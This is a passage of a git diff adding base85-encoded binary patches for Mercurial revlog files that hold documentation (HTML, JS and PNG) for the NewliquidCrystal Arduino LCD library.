z=e{K@>yevbd3InJf*7_VIJPaF!ay-FF~d65-N!_$ zjh1fEif5B3jOG4z8$i{yc=lRU=M%%_VCN3?V03{Ab#&chwofQwCea@gsy14>fl7*K zBbd4t&0aIdfo@s8=LGU;AH+|hgYtN`MLf?B9QRQzs*RQsrpCK(yMi@MA`EQZZ3I}? zLfSTUf3hz3K1<>(PiGXGLVv@P=?nCVFD|?)w>`r}CIt!ilXb4FeFGUO`1+nor2=VR zT?G;3$#Mg^`-6^RFWBW~glhBE7z@iQtKbF1e%uH z7KaNmc4&4um`V+b8X}haN3neLQGVyS8ZE-lA!Eg!#C46T%0H=;X*FCGRR0X)e=U$& zA(QhDh~G}-&hkktUx1!PypP@hw@?;H=C^r@&p#ZivQ<@zV?>l}M0h<*VH`Nis_pKe z6_VhTq2Fhdsobj#)vUV)zS>2NDJ6*HK6A|t4p$rP1{>1+FxrQW_86@<%!k-iZGPc* z+Nj;wJEs42e5jOP%nz3GOi{k7S{wB%iCrHee#D9&v0_cEc!=cJaf8^c#EM?W=;(E< z&W%9RFqXu{#Uy8*EE&ytEN5d2J~yZAV!j7u7jtxU0h#VVO}c*z>au;P%OrIf&vztj zui(GIrdB_K|BvAR-B5n;!T$g$XZFET?i?)T?!i*-{YY|uB)LD5+#gA9mr3qJgfV*$ z!sHopNLNJ3o%cbn_9DgEmlUHjQrvw>F*_s0+m{q;8&WnL5UqI>^1iu?+!jwiHrQlz z>#@|mQB;HpkFxSiy@J`=xT(0?YaA@r!7xlNm0NXo#);ax^-man6%R-cGd+^K*&ZtG z)!w^`esqe4G+}&H+lY5KP*=X6+z%~;yuwbZ)7KhDvMo$(#nr{?(Z%sw>Z8`ly{D}Y zW}e%*!9_Bt{E$jRp=d%wb!g<<&-c>StrJEWh%vejZ+MI(#^^}BDI?#Iktu4Jp>io{ zEiK)l8?sQ{JHWn`i0LVKzdr zB%?SJRVL_gdp3!)f?;{9T-t@kINLnROV9Q|C-U~5Jyiau(Th^na+DzpU@Aqn(^%{T z)qI)Mt>UMl%io(ma-EJYcwJ*QUd;OxTf*_>LLRw&suOsw!-cD3$245xxI!Mx+Zf$# z_;|N{W9`3IRw6ef{}YlDwR-p&V5NhSo*)qx(;kyXS zj}`xvG#gRl@0EO&x7ZE0jpLTIu14>#US7ULJ%!SaAfNqm@$&sKI{Wbc{mWlpE!x5r z3SF?&eTdsBfNik1{a-DBEl&gZQv=yTUw2)L_+9((d6?62FNp_<*dbS394VAb2i{#< zm+Ela#=#vbNd|jf4wHx)K*@4>H6gxeLizuikCip&N%}<^Hw-$LzBc2<1Xm^xa+VJF z69)$pWy!+bKI+jVedS{c7xPFFVWHnk;YnAGj^3XC^7en$=R3f6AQX_mTdud!=C`7N+vGyZX%D#}A**FVFw} z`p2~1R%3&_m=}{zEWr1cFElotv`YGG7VkPv2Wl#j)t><^18gw|Ifv+c&10V81#uEJkwj5(UcCq-o}CP5GO$JA zXrKm012Mso8t^eZsGc!p1HhI?$yELrOn6FXX^10~@@bL{K7Ahi%I8tt{S8)$VO?~- z^2b+MGD|669QA(RllI5O+vGrI_q49)j!vg#X9Fdk#o6zuI_4dz^WT@(0g7IEuec>I zLW8MHe3G223E}dVv``rjV|>$_;(V-CvVsfhchMxo6aX{kTuuusa8nK@#^!J#(#Wub25t|(I-`999`>B(R)pU?X&xxE9u z>?i5hsFcgM^f=W>oyuh=9uG&l)5YbFvRM3SB5j;TJ zX4**Flr%asw-`_1)`gew4j#pYug#3e1b%qDm;dGaL&(MxA)6nhKU+goiUkFLljG!U zaLL+6)S&WF*jV!{GgrSLbh?~Djo73j6X^(oXkDzLpNR` zF)C1K#+`d(LiTrj#Di}ya_FCAM^OaMG!RAI)x|FA)L&g(5%Ttl#TP3rWLmWCD4ZDM zFg``7Jh!rK*9OQ{39Wh1hwa!Pov;3Km7{d7xuA49oyNJD%?nw_#uil7xtuNI1x!`N o+HPoVHVRjcrY=Gd+WmD9D(GTE5}(J(0BeteJ&($RU+KS#;(lhwJOBUy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.js.i new file mode 100644 index 0000000000000000000000000000000000000000..67eb274b7499149c725e8e8e40c55b0605812c2e GIT binary patch literal 415 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1b71511bad2558b99f97f3089a45fd9368c1288b GIT binary patch literal 8540 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.png.i 